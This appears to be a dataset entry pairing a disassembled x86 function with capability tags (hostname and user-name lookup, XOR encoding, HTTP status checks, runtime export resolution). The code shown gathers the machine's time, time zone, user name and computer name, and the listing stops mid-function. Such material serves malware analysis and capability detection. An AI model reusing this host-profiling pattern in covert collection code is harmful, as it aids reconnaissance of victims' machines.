Function at 0x416170
Capabilities:
Check http status code
Encode data using xor
Get hostname
Get session user name
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0x5b0
mov eax, dword [ebp + 8]
mov dword [esp + 0x430], edx
mov dword [esp + 0x30], 0
mov dword [esp + 0x1c8], ecx
mov dword [esp + 0x34], 0
mov dword [esp + 0x434], eax
mov eax, dword [ebp + 0xc]
mov dword [esp + 0x438], eax
mov eax, dword [ebp + 0x10]
mov dword [esp + 0x43c], eax
call 0x4161c0
pop eax
mov dword [esp + 0x28], eax
lea eax, [esp + 0x30]
push eax
call dword [sym.imp.kernel32.dll_GetSystemTimePreciseAsFileTime]
mov edx, dword [esp + 0x30]
mov ecx, dword [esp + 0x34]
mov eax, 0xd53e8000
mov ebx, 0x19db1de
sub eax, edx
mov edi, edx
mov esi, ecx
sbb ebx, ecx
add edi, 0x2ac18000
adc esi, 0xfe624e21
cmp edx, 0xd53e8000
sbb ecx, 0x19db1de
cmovl esi, ebx
cmovl edi, eax
setl bl
push 0
push 0x989680
push esi
push edi
call fcn.004ec950
test bl, bl
jne 0x419692
push 0
push 0x15180
push edx
mov dword [esp + 0x10], eax
push eax
call fcn.004ec9f0
mov dword [esp + 0x14], eax
push 0xc9
push 0x2a69c000
push esi
push edi
call fcn.004ec950
mov esi, eax
mov ecx, 0xe5ac1b
add esi, 0xafaa8
mov eax, esi
mul ecx
mov ecx, edx
mov edx, 0xb38cfa
shr ecx, 9
imul eax, ecx, 0x23ab1
sub esi, eax
mov eax, esi
mul edx
movzx ebx, byte [edx + 0x8aa51c]
imul eax, edx, 0x16d
sub esi, eax
mov eax, esi
sub eax, ebx
jae 0x4162a4
dec edx
cmp edx, 0x190
ja 0x419692
movzx eax, byte [edx + 0x8aa51c]
sub esi, eax
add esi, 0x16d
mov eax, esi
jmp 0x4162b0
cmp edx, 0x18f
ja 0x419692
cmp eax, 0x16d
ja 0x419692
imul ecx, ecx, 0x190
shl eax, 4
add ecx, edx
movzx edx, byte [edx + 0x8aa38c]
shl ecx, 0xd
lea eax, [eax + ecx + 0x10]
or edx, eax
mov dword [esp + 0x10], edx
and edx, 0x1ff8
cmp edx, 0x16e1
mov dword [esp + 0x394], edx
jae 0x419692
mov esi, eax
mov ecx, 0x786b
shr esi, 0xd
cmp esi, 0x786b
cmovb ecx, esi
cmp eax, 0xc82000
mov eax, 0x641
cmovae eax, ecx
lea ecx, [esp + 0x30]
movzx eax, ax
push ecx
push 0
push eax
call dword [sym.imp.kernel32.dll_GetTimeZoneInformationForYear]
test eax, eax
je 0x419692
movsd xmm1, qword [esp + 0x7c]
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x84]
movq xmm0, qword [esp + 0x74]
movsd xmm2, qword [esp + 0xc8]
movsd qword [esp + 0x1d8], xmm1
movsd xmm1, qword [esp + 0xd0]
add ecx, eax
movq qword [esp + 0x1d0], xmm0
movsd qword [esp + 0x290], xmm2
movsd qword [esp + 0x298], xmm1
jo 0x419692
imul ebx, ecx, 0x3c
jo 0x419692
lea ecx, [ebx + 0x1517f]
cmp ecx, 0x2a2fe
ja 0x419692
add eax, dword [esp + 0xd8]
jo 0x419692
imul ecx, eax, 0x3c
jo 0x419692
lea eax, [ecx + 0x1517f]
cmp eax, 0x2a2fe
ja 0x419692
mov dword [esp + 8], ecx
lea ecx, [esp + 0x30]
lea edx, [esp + 0x1d0]
push esi
call fcn.0041c9a0
add esp, 4
cmp dword [esp + 0x30], 1
je 0x419692
mov ecx, dword [esp + 0x38]
mov eax, esi
mov esi, dword [esp + 0x34]
lea edx, [esp + 0x290]
mov dword [esp + 0x1c4], eax
mov dword [esp + 0xc], ecx
mov ecx, dword [esp + 0x3c]
mov dword [esp + 0x1c], ecx
lea ecx, [esp + 0x30]
push eax
call fcn.0041c9a0
add esp, 4
cmp dword [esp + 0x30], 1
je 0x419692
imul eax, dword [esp + 4], 0x989680
mov edx, dword [esp + 0x34]
mov ecx, dword [esp + 0x38]
sub edi, eax
imul eax, edi, 0x64
mov edi, ebx
mov ebx, dword [esp + 8]
mov dword [esp + 0x24], eax
mov eax, dword [esp + 0x3c]
neg edi
neg ebx
test esi, esi
je 0x41655e
test edx, edx
je 0x41663b
mov dword [esp + 0x148], esi
mov esi, dword [esp + 0xc]
mov dword [esp + 0x114], edx
mov dword [esp + 0x118], ecx
lea ecx, [esp + 0x290]
lea edx, [esp + 0x148]
mov dword [esp + 0x11c], eax
mov dword [esp + 0x14c], esi
mov esi, dword [esp + 0x1c]
mov dword [esp + 0x150], esi
push ebx
call fcn.0041c820
add esp, 4
lea ecx, [esp + 0x30]
lea edx, [esp + 0x114]
push edi
call fcn.0041c820
add esp, 4
mov eax, dword [esp + 0x30]
mov ecx, dword [esp + 0x290]
cmp eax, ecx
setl dl
jne 0x4165c3
mov edx, dword [esp + 0x34]
cmp edx, dword [esp + 0x294]
setb dl
jne 0x4165c3
mov edx, dword [esp + 0x38]
lea esi, [esp + 0x30]
cmp edx, dword [esp + 0x298]
jb 0x4165cf
xor edx, edx
cmp dword [esp + 0x10], ecx
mov ecx, 0xff
setne dl
cmovl edx, ecx
test dl, dl
jne 0x416529
mov esi, dword [esp + 0x14]
xor edx, edx
cmp dword [esp + 0x294], esi
lea esi, [esp + 0x30]
setne dl
cmova edx, ecx
test dl, dl
je 0x4166c7
cmp dl, 1
ja 0x4166ea
cmp dword [esp + 0x10], eax
jne 0x4166b3
mov ecx, dword [esp + 0x24]
xor eax, eax
mov edx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x38]
setb al
xor ecx, ecx
cmp dword [esp + 0x34], edx
seta cl
cmovne eax, ecx
jmp 0x4166b6
test edx, edx
je 0x416695
mov dword [esp + 0x160], edx
mov dword [esp + 0x164], ecx
mov dword [esp + 0x168], eax
lea ecx, [esp + 0x30]
lea edx, [esp + 0x160]
push edi
call fcn.0041c820
add esp, 4
mov eax, dword [esp + 0x10]
lea esi, [esp + 0x30]
cmp eax, dword [esp + 0x30]
jne 0x41669b
mov ecx, dword [esp + 0x24]
xor eax, eax
mov edx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x38]
setb al
xor ecx, ecx
cmp dword [esp + 0x34], edx
seta cl
cmovne eax, ecx
jmp 0x41669e
test dl, dl
lea esi, [esp + 0x30]
je 0x4164f5
xor edx, edx
cmp dword [esp + 0x10], eax
mov eax, 0xff
setne dl
cmovl edx, eax
test dl, dl
jne 0x416600
mov esi, dword [esp + 0x14]
xor edx, edx
cmp dword [esp + 0x34], esi
lea esi, [esp + 0x30]
setne dl
cmova edx, eax
test dl, dl
je 0x4166da
cmp dl, 1
ja 0x4166e8
cmp dword [esp + 0x10], ecx
jne 0x4166bd
mov ecx, dword [esp + 0x24]
xor eax, eax
mov edx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x298]
setb al
xor ecx, ecx
cmp dword [esp + 0x294], edx
seta cl
cmovne eax, ecx
jmp 0x4166c0
mov eax, dword [esp + 0xc]
mov ecx, dword [esp + 0x1c]
mov dword [esp + 0xf8], esi
lea edx, [esp + 0xf8]
mov dword [esp + 0x100], ecx
mov dword [esp + 0xfc], eax
lea ecx, [esp + 0x30]
push ebx
call fcn.0041c820
add esp, 4
mov eax, dword [esp + 0x10]
cmp eax, dword [esp + 0x30]
jne 0x4166a5
mov ecx, dword [esp + 0x24]
xor eax, eax
mov edx, dword [esp + 0x14]
cmp ecx, dword [esp + 0x38]
setb al
xor ecx, ecx
cmp dword [esp + 0x34], edx
seta cl
cmovne eax, ecx
jmp 0x4166a8
lea esi, [esp + 0x30]
jmp 0x4166ec
setl al
test al, al
cmove edi, ebx
jmp 0x4166ec
setl al
test al, al
lea esi, [esp + 0x30]
cmovne edi, ebx
jmp 0x4166ec
setl al
test al, al
cmovne ebx, edi
jmp 0x4166ea
setl al
test al, al
cmove ebx, edi
jmp 0x4166ea
mov ecx, dword [esp + 0x24]
cmp ecx, dword [esp + 0x298]
jae 0x416532
jmp 0x4166ea
mov eax, dword [esp + 0x24]
cmp eax, dword [esp + 0x38]
jae 0x416609
mov ebx, edi
mov edi, ebx
mov dword [esp + 0x30], 0
push esi
push 0
call dword [sym.imp.advapi32.dll_GetUserNameW]
test eax, eax
jne 0x419692
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0x7a
mov dword [esp + 0x1cc], edi
jne 0x41674f
mov ebx, dword [esp + 0x30]
test ebx, ebx
js 0x419692
lea edx, [ebx + ebx]
cmp edx, 0x7fffffff
jae 0x419692
test edx, edx
je 0x416771
movzx eax, byte [0x90320d]
xor ecx, ecx
call fcn.0049d570
mov edi, eax
test eax, eax
jne 0x416778
jmp 0x419692
call dword [sym.imp.kernel32.dll_GetLastError]
mov byte [esp + 0x130], 0
mov dword [esp + 0x134], eax
mov dword [esp + 0x12c], 0x80000000
jmp 0x4167bd
mov edi, 2
xor ebx, ebx
mov dword [esp + 0x30], ebx
push esi
push edi
call dword [sym.imp.advapi32.dll_GetUserNameW]
test eax, eax
je 0x4175f1
mov eax, dword [esp + 0x30]
xor ecx, ecx
mov edx, edi
sub eax, 1
cmovb eax, ecx
lea ecx, [esp + 0x12c]
push eax
call fcn.0048d3f0
add esp, 4
test ebx, ebx
je 0x4167bd
push edi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
mov esi, dword [esp + 0x12c]
mov eax, esi
neg eax
jno 0x417428
movzx eax, byte [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov byte [esp + 0x2c], al
mov dword [esp + 0x20], ecx
movzx eax, byte [0x90320d]
xor ecx, ecx
mov edx, 7
xor ebx, ebx
call fcn.0049d570
test eax, eax
je 0x419692
mov esi, eax
xor edi, edi
mov dword [esp + 0x290], 7
mov dword [esp + 0x294], eax
mov dword [esp + 0x298], 0
mov dword [esp + 8], 0
jmp 0x416850
mov esi, dword [esp + 0x294]
mov byte [esi + ebx], dl
inc ebx
mov dword [esp + 0x298], ebx
mov eax, dword [esp + 0x1c]
cmp edi, 7
mov dword [esp + 8], eax
je 0x4173b3
movzx ecx, byte [edi + 0x8eb03b]
lea eax, [edi + 0x8eb03b]
test cl, cl
js 0x416880
lea edx, [edi + 0x8eb03c]
inc edi
mov dword [esp + 4], edi
mov edi, dword [esp + 8]
sub edi, eax
add edi, edx
mov edx, ecx
mov dword [esp + 0x1c], edi
jmp 0x41692a
mov dword [esp + 0xc], ebx
movzx ebx, byte [edi + 0x8eb03c]
mov edx, ecx
mov dword [esp + 0x18], esi
and edx, 0x1f
and ebx, 0x3f
cmp cl, 0xdf
jbe 0x4168cc
movzx esi, byte [edi + 0x8eb03d]
shl ebx, 6
and esi, 0x3f
or esi, ebx
cmp cl, 0xf0
jb 0x4168d6
movzx ecx, byte [edi + 0x8eb03e]
and edx, 7
shl esi, 6
add edi, 4
shl edx, 0x12
and ecx, 0x3f
or ecx, esi
or edx, ecx
jmp 0x4168de
shl edx, 6
add edi, 2
or edx, ebx
jmp 0x4168de
shl edx, 0xc
add edi, 3
or edx, esi
mov esi, edi
mov edi, dword [esp + 8]
mov ebx, dword [esp + 0xc]
mov dword [esp + 4], esi
mov ecx, edi
sub ecx, eax
cmp edx, 0x3a3
lea eax, [ecx + esi + 0x8eb03b]
mov dword [esp + 0x1c], eax
jne 0x416926
test edi, edi
je 0x416bf0
cmp edi, 6
ja 0x416be7
cmp byte [edi + 0x8eb03b], 0xbf
jg 0x416bf0
jmp 0x419692
mov esi, dword [esp + 0x18]
lea ecx, [esp + 0x30]
mov edi, ebx
call fcn.00422060
mov edx, dword [esp + 0x34]
test edx, edx
je 0x4169e0
mov eax, dword [esp + 0x38]
mov ebx, dword [esp + 0x30]
test eax, eax
mov dword [esp + 8], eax
je 0x416a17
cmp ebx, 0x80
jae 0x416a98
cmp edi, dword [esp + 0x290]
jne 0x416981
lea ecx, [esp + 0x290]
mov esi, edx
call fcn.00439ef0
mov edx, esi
mov esi, dword [esp + 0x294]
mov byte [esi + edi], bl
mov ebx, edi
mov edi, dword [esp + 4]
inc ebx
mov dword [esp + 0x298], ebx
cmp edx, 0x80
jb 0x416f10
mov eax, edx
cmp edx, 0x800
mov dword [esp + 0x1d0], 0
jae 0x416b3c
shr eax, 6
mov ecx, 2
or al, 0xc0
mov byte [esp + 0x1d0], al
lea eax, [esp + 0x1d1]
jmp 0x416dc7
mov ebx, dword [esp + 0x30]
cmp ebx, 0x80
jae 0x416ad0
cmp edi, dword [esp + 0x290]
jne 0x416a05
lea ecx, [esp + 0x290]
call fcn.00439ef0
mov esi, dword [esp + 0x294]
mov byte [esi + edi], bl
mov ebx, edi
inc ebx
jmp 0x416fe3
cmp ebx, 0x80
jae 0x416b06
cmp edi, dword [esp + 0x290]
jne 0x416a3c
lea ecx, [esp + 0x290]
mov esi, edx
call fcn.00439ef0
mov edx, esi
mov esi, dword [esp + 0x294]
mov byte [esi + edi], bl
mov ebx, edi
mov edi, dword [esp + 4]
inc ebx
mov dword [esp + 0x298], ebx
cmp edx, 0x80
jb 0x417197
mov ecx, esi
mov eax, edx
cmp edx, 0x800
mov dword [esp + 0x1d0], 0
jae 0x416d1d
shr eax, 6
mov esi, 2
or al, 0xc0
mov byte [esp + 0x1d0], al
lea eax, [esp + 0x1d1]
jmp 0x4170bc
mov ecx, esi
mov eax, ebx
cmp ebx, 0x800
mov dword [esp + 0x1d0], 0
jae 0x416b75
shr eax, 6
mov esi, 2
or al, 0xc0
mov byte [esp + 0x1d0], al
lea eax, [esp + 0x1d1]
jmp 0x416ec0
mov eax, ebx
cmp ebx, 0x800
mov dword [esp + 0x1d0], 0
jae 0x416bae
shr eax, 6
mov ecx, 2
or al, 0xc0
mov byte [esp + 0x1d0], al
lea eax, [esp + 0x1d1]
jmp 0x41703c
mov eax, ebx
cmp ebx, 0x800
mov dword [esp + 0x1d0], 0
jae 0x416d56
shr eax, 6
mov ecx, 2
or al, 0xc0
mov byte [esp + 0x1d0], al
lea eax, [esp + 0x1d1]
jmp 0x417139
cmp edx, 0x10000
jae 0x416d8f
shr eax, 0xc
mov ecx, 3
or al, 0xe0
mov byte [esp + 0x1d0], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
lea eax, [esp + 0x1d2]
jmp 0x416dc7
cmp ebx, 0x10000
jae 0x416e88
shr eax, 0xc
mov esi, 3
or al, 0xe0
mov byte [esp + 0x1d0], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
lea eax, [esp + 0x1d2]
jmp 0x416ec0
cmp ebx, 0x10000
jae 0x417004
shr eax, 0xc
mov ecx, 3
or al, 0xe0
mov byte [esp + 0x1d0], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
lea eax, [esp + 0x1d2]
jmp 0x41703c
cmp edi, 7
jne 0x419692
lea esi, [edi + 0x8eb03b]
xor eax, eax
jmp 0x416c0e
mov al, 1
cmp edi, 0x110000
jne 0x416cae
mov bl, 0xc3
cmp esi, 0x8eb03b
je 0x416ce5
movsx edi, byte [esi - 1]
test edi, edi
js 0x416c30
dec esi
jmp 0x416c84
movzx ecx, byte [esi - 2]
cmp cl, 0xc0
jge 0x416c5e
movzx edx, byte [esi - 3]
cmp dl, 0xc0
jge 0x416c66
mov dword [esp + 0x18], eax
movzx eax, byte [esi - 4]
and edx, 0x3f
add esi, 0xfffffffc
and eax, 7
shl eax, 6
or edx, eax
mov eax, dword [esp + 0x18]
jmp 0x416c6c
add esi, 0xfffffffe
and ecx, 0x1f
jmp 0x416c74
add esi, 0xfffffffd
and edx, 0xf
shl edx, 6
and ecx, 0x3f
or ecx, edx
shl ecx, 6
and edi, 0x3f
or edi, ecx
cmp edi, 0x110000
je 0x416ce5
test al, 1
jne 0x416c00
mov ecx, edi
call fcn.00421e50
test al, al
je 0x416c00
mov edi, 0x110000
xor eax, eax
cmp edi, 0x110000
je 0x416c0e
mov ecx, edi
call fcn.00421f60
mov edi, dword [esp + 4]
mov esi, dword [esp + 8]
test al, al
je 0x416ce9
add esi, 2
je 0x4171c2
cmp esi, 6
ja 0x4171b9
cmp byte [esi + 0x8eb03b], 0xbf
jg 0x4171c2
jmp 0x419692
mov edi, dword [esp + 4]
mov eax, dword [esp + 0x290]
sub eax, dword [esp + 0xc]
cmp eax, 1
jbe 0x4172b9
mov esi, dword [esp + 0x294]
mov eax, dword [esp + 0xc]
and bl, 0x83
mov byte [esi + eax], 0xcf
mov byte [esi + eax + 1], bl
mov ebx, eax
add ebx, 2
jmp 0x416838
cmp edx, 0x10000
jae 0x417084
shr eax, 0xc
mov esi, 3
or al, 0xe0
mov byte [esp + 0x1d0], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
lea eax, [esp + 0x1d2]
jmp 0x4170bc
cmp ebx, 0x10000
jae 0x417101
shr eax, 0xc
mov ecx, 3
or al, 0xe0
mov byte [esp + 0x1d0], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
lea eax, [esp + 0x1d2]
jmp 0x417139
shr eax, 0x12
mov ecx, 4
or al, 0xf0
mov byte [esp + 0x1d0], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d2], al
lea eax, [esp + 0x1d3]
and dl, 0x3f
or dl, 0x80
mov byte [eax], dl
mov edx, dword [esp + 0x290]
sub edx, ebx
cmp edx, ecx
jb 0x4172de
mov esi, dword [esp + 0x294]
mov dword [esp + 0xc], ecx
lea eax, [esi + ebx]
push ecx
lea ecx, [esp + 0x1d4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, dword [esp + 0xc]
mov edx, dword [esp + 8]
mov dword [esp + 0x298], ebx
cmp edx, 0x80
jb 0x416f4b
mov ecx, esi
mov eax, edx
cmp edx, 0x800
mov dword [esp + 0x1d0], 0
jae 0x416e4f
shr eax, 6
mov esi, 2
or al, 0xc0
mov byte [esp + 0x1d0], al
lea eax, [esp + 0x1d1]
jmp 0x416fa5
cmp edx, 0x10000
jae 0x416f6d
shr eax, 0xc
mov esi, 3
or al, 0xe0
mov byte [esp + 0x1d0], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
lea eax, [esp + 0x1d2]
jmp 0x416fa5
shr eax, 0x12
mov esi, 4
or al, 0xf0
mov byte [esp + 0x1d0], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d2], al
lea eax, [esp + 0x1d3]
mov dword [esp + 0xc], edx
mov edx, dword [esp + 0x290]
and bl, 0x3f
or bl, 0x80
mov byte [eax], bl
mov ebx, edi
sub edx, edi
cmp edx, esi
jb 0x417300
mov edi, dword [esp + 4]
add ecx, ebx
push esi
lea eax, [esp + 0x1d4]
push eax
push ecx
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
mov edx, dword [esp + 0xc]
add ebx, esi
mov dword [esp + 0x298], ebx
cmp edx, 0x80
jae 0x41699e
cmp ebx, dword [esp + 0x290]
jne 0x416f29
lea ecx, [esp + 0x290]
mov esi, edx
call fcn.00439ef0
mov edx, esi
mov esi, dword [esp + 0x294]
mov byte [esi + ebx], dl
inc ebx
mov edx, dword [esp + 8]
mov dword [esp + 0x298], ebx
cmp edx, 0x80
jae 0x416e1b
cmp ebx, dword [esp + 0x290]
jne 0x416834
lea ecx, [esp + 0x290]
call fcn.00439ef0
mov edx, dword [esp + 8]
jmp 0x41682d
shr eax, 0x12
mov esi, 4
or al, 0xf0
mov byte [esp + 0x1d0], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d2], al
lea eax, [esp + 0x1d3]
and dl, 0x3f
mov dword [esp + 0xc], esi
mov dword [esp + 4], edi
or dl, 0x80
mov byte [eax], dl
mov edx, dword [esp + 0x290]
sub edx, ebx
cmp edx, esi
jb 0x417325
mov edi, dword [esp + 0xc]
mov esi, ecx
lea eax, [ecx + ebx]
push edi
lea ecx, [esp + 0x1d4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, edi
mov edi, dword [esp + 4]
mov dword [esp + 0x298], ebx
mov eax, dword [esp + 0x1c]
cmp edi, 7
mov dword [esp + 8], eax
jne 0x416850
jmp 0x4173b3
shr eax, 0x12
mov ecx, 4
or al, 0xf0
mov byte [esp + 0x1d0], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d2], al
lea eax, [esp + 0x1d3]
mov edx, dword [esp + 0x290]
and bl, 0x3f
or bl, 0x80
mov byte [eax], bl
mov ebx, edi
sub edx, edi
cmp edx, ecx
jb 0x41734a
mov esi, dword [esp + 0x294]
mov edi, dword [esp + 4]
mov dword [esp + 8], ecx
lea eax, [esi + ebx]
push ecx
lea ecx, [esp + 0x1d4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, dword [esp + 8]
jmp 0x416838
shr eax, 0x12
mov esi, 4
or al, 0xf0
mov byte [esp + 0x1d0], al
mov eax, edx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
mov eax, edx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d2], al
lea eax, [esp + 0x1d3]
and dl, 0x3f
mov dword [esp + 8], esi
or dl, 0x80
mov byte [eax], dl
mov edx, dword [esp + 0x290]
sub edx, ebx
cmp edx, esi
jb 0x41736c
mov esi, dword [esp + 8]
mov dword [esp + 0x18], ecx
lea eax, [ecx + ebx]
push esi
lea ecx, [esp + 0x1d4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, esi
mov esi, dword [esp + 0x18]
jmp 0x416838
shr eax, 0x12
mov ecx, 4
or al, 0xf0
mov byte [esp + 0x1d0], al
mov eax, ebx
shr eax, 0xc
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d1], al
mov eax, ebx
shr eax, 6
and al, 0x3f
or al, 0x80
mov byte [esp + 0x1d2], al
lea eax, [esp + 0x1d3]
mov dword [esp + 0xc], edx
mov edx, dword [esp + 0x290]
and bl, 0x3f
or bl, 0x80
mov byte [eax], bl
mov ebx, edi
sub edx, edi
cmp edx, ecx
jb 0x417391
mov esi, dword [esp + 0x294]
mov edi, dword [esp + 4]
mov dword [esp + 8], ecx
lea eax, [esi + ebx]
push ecx
lea ecx, [esp + 0x1d4]
push ecx
push eax
call sub.VCRUNTIME140.dll_memcpy
add esp, 0xc
add ebx, dword [esp + 8]
mov edx, dword [esp + 0xc]
mov dword [esp + 0x298], ebx
cmp edx, 0x80
jae 0x416a60
cmp ebx, dword [esp + 0x290]
jne 0x416834
lea ecx, [esp + 0x290]
mov esi, edx
call fcn.00439ef0
mov edx, esi
jmp 0x41682d
cmp esi, 7
jne 0x419692
xor eax, eax
jmp 0x4171de
mov al, 1
cmp edx, 0x110000
jne 0x4172a8
mov bl, 0xc2
cmp esi, 7
je 0x416ce9
movzx edx, byte [esi + 0x8eb03b]
test dl, dl
js 0x417200
inc esi
jmp 0x41727a
mov edi, esi
movzx esi, byte [esi + 0x8eb03c]
mov ecx, edx
and ecx, 0x1f
and esi, 0x3f
cmp dl, 0xdf
jbe 0x417260
mov dword [esp + 8], edx
movzx edx, byte [edi + 0x8eb03d]
shl esi, 6
and edx, 0x3f
or edx, esi
cmp byte [esp + 8], 0xf0
jb 0x41726c
movzx esi, byte [edi + 0x8eb03e]
shl edx, 6
and ecx, 7
shl ecx, 0x12
and esi, 0x3f
or esi, edx
mov edx, esi
mov esi, edi
mov edi, dword [esp + 4]
or edx, ecx
cmp edx, 0x110000
je 0x416ce9
add esi, 4
jmp 0x41727a
shl ecx, 6
add edi, 2
or ecx, esi
mov edx, ecx
jmp 0x417274
shl ecx, 0xc
add edi, 3
or edx, ecx
mov esi, edi
mov edi, dword [esp + 4]
test al, 1
jne 0x4171d0
mov ecx, edx
mov ebx, edx
call fcn.00421e50
mov edx, ebx
test al, al
je 0x4171d0
mov edx, 0x110000
xor eax, eax
cmp edx, 0x110000
je 0x4171de
mov ecx, edx
call fcn.00421f60
mov ebx, eax
or bl, 0xc2
jmp 0x416ce9
mov edx, dword [esp + 0xc]
lea ecx, [esp + 0x290]
push 2
call fcn.004f0a80
add esp, 4
mov eax, dword [esp + 0x298]
mov dword [esp + 0xc], eax
jmp 0x416cfd
mov esi, ecx
lea ecx, [esp + 0x290]
mov edx, ebx
push esi
call fcn.004f0a80
mov ecx, esi
add esp, 4
mov ebx, dword [esp + 0x298]
jmp 0x416de0
lea ecx, [esp + 0x290]
mov edx, ebx
push esi
call fcn.004f0a80
add esp, 4
mov ecx, dword [esp + 0x294]
mov ebx, dword [esp + 0x298]
jmp 0x416edf
lea ecx, [esp + 0x290]
mov edx, ebx
push esi
call fcn.004f0a80
add esp, 4
mov ecx, dword [esp + 0x294]
mov ebx, dword [esp + 0x298]
jmp 0x416fc6
mov esi, ecx
lea ecx, [esp + 0x290]
mov edx, ebx
push esi
call fcn.004f0a80
mov ecx, esi
add esp, 4
mov ebx, dword [esp + 0x298]
jmp 0x417057
lea ecx, [esp + 0x290]
mov edx, ebx
push esi
call fcn.004f0a80
add esp, 4
mov ecx, dword [esp + 0x294]
mov ebx, dword [esp + 0x298]
jmp 0x4170d9
mov esi, ecx
lea ecx, [esp + 0x290]
mov edx, ebx
push esi
call fcn.004f0a80
mov ecx, esi
add esp, 4
mov ebx, dword [esp + 0x298]
jmp 0x417158
mov eax, dword [esp + 0x298]
movq xmm0, qword [esp + 0x290]
cmp byte [esp + 0x2c], 3
mov dword [esp + 0x1a8], eax
movq qword [esp + 0x1a0], xmm0
jb 0x4174da
mov eax, dword [esp + 0x20]
mov edi, dword [eax + 4]
mov esi, dword [eax]
mov eax, dword [edi]
test eax, eax
je 0x4173f3
push esi
call eax
add esp, 4
cmp dword [edi + 4], 0
je 0x417411
cmp dword [edi + 8], 9
jb 0x417402
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
push dword [esp + 0x20]
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x4174da
cmp byte [esp + 0x138], 0
jne 0x4174b7
mov eax, dword [esp + 0x134]
test eax, eax
je 0x4174b7
mov edi, dword [esp + 0x130]
add eax, edi
mov edx, edi
jmp 0x417466
add edx, 2
cmp ecx, eax
cmovne ecx, edx
nop word cs:[eax + eax]
cmp ecx, eax
mov edx, ecx
je 0x4174b7
movzx ebx, byte [edx]
lea ecx, [edx + 1]
test bl, bl
jns 0x417460
cmp bl, 0xe0
jb 0x41744e
cmp bl, 0xed
jne 0x417496
cmp ecx, eax
je 0x4174b7
lea ecx, [edx + 2]
cmp ecx, eax
je 0x4174b7
cmp byte [edx + 1], 0x9f
ja 0x417f97
add edx, 3
mov ecx, edx
jmp 0x417460
add edx, 2
cmp ecx, eax
cmove edx, ecx
xor ecx, ecx
cmp edx, eax
setne cl
add ecx, edx
cmp bl, 0xf0
jb 0x417460
xor edx, edx
cmp ecx, eax
setne dl
add ecx, edx
jmp 0x417460
mov eax, dword [esp + 0x130]
mov ecx, dword [esp + 0x134]
mov dword [esp + 0x1a0], esi
mov dword [esp + 0x1a8], ecx
mov dword [esp + 0x1a4], eax
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0
push eax
push 0
push 0
call dword [sym.imp.kernel32.dll_GetComputerNameExW]
test eax, eax
lea edi, [esp + 0x1d0]
jne 0x419692
call dword [sym.imp.kernel32.dll_GetLastError]
cmp eax, 0xea
jne 0x417556
mov esi, dword [esp + 0x160]
test esi, esi
js 0x419692
lea edx, [esi + esi]
cmp edx, 0x7fffffff
jae 0x419692
test edx, edx
je 0x41761e
movzx eax, byte [0x90320d]
xor ecx, ecx
call fcn.0049d570
mov ebx, eax
test eax, eax
jne 0x417625
jmp 0x419692
call dword [sym.imp.kernel32.dll_GetLastError]
mov edi, eax
xor ebx, ebx
movzx eax, byte [0x90320d]
xor ecx, ecx
mov edx, 7
call fcn.0049d570
test eax, eax
je 0x419692
cmp bl, 3
mov dword [eax + 3], 0x6e776f6e
mov dword [eax], 0x6e6b6e55
mov dword [esp + 0x13c], 7
mov dword [esp + 0x140], eax
mov dword [esp + 0x144], 7
jb 0x41771c
mov ebx, dword [edi + 4]
mov esi, dword [edi]
mov eax, dword [ebx]
test eax, eax
je 0x4175bf
push esi
call eax
add esp, 4
cmp dword [ebx + 4], 0
je 0x4175dd
cmp dword [ebx + 8], 9
jb 0x4175ce
mov esi, dword [esi - 4]
push esi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
push edi
push 0
push dword [0x903200]
call dword [sym.imp.kernel32.dll_HeapFree]
jmp 0x41771c
call dword [sym.imp.kernel32.dll_GetLastError]
mov byte [esp + 0x130], 0
mov dword [esp + 0x134], eax
mov dword [esp + 0x12c], 0x80000000
test ebx, ebx
jne 0x4167ae
jmp 0x4167bd
mov ebx, 2
xor esi, esi
mov dword [esp + 0x1d0], esi
push edi
push ebx
push 0
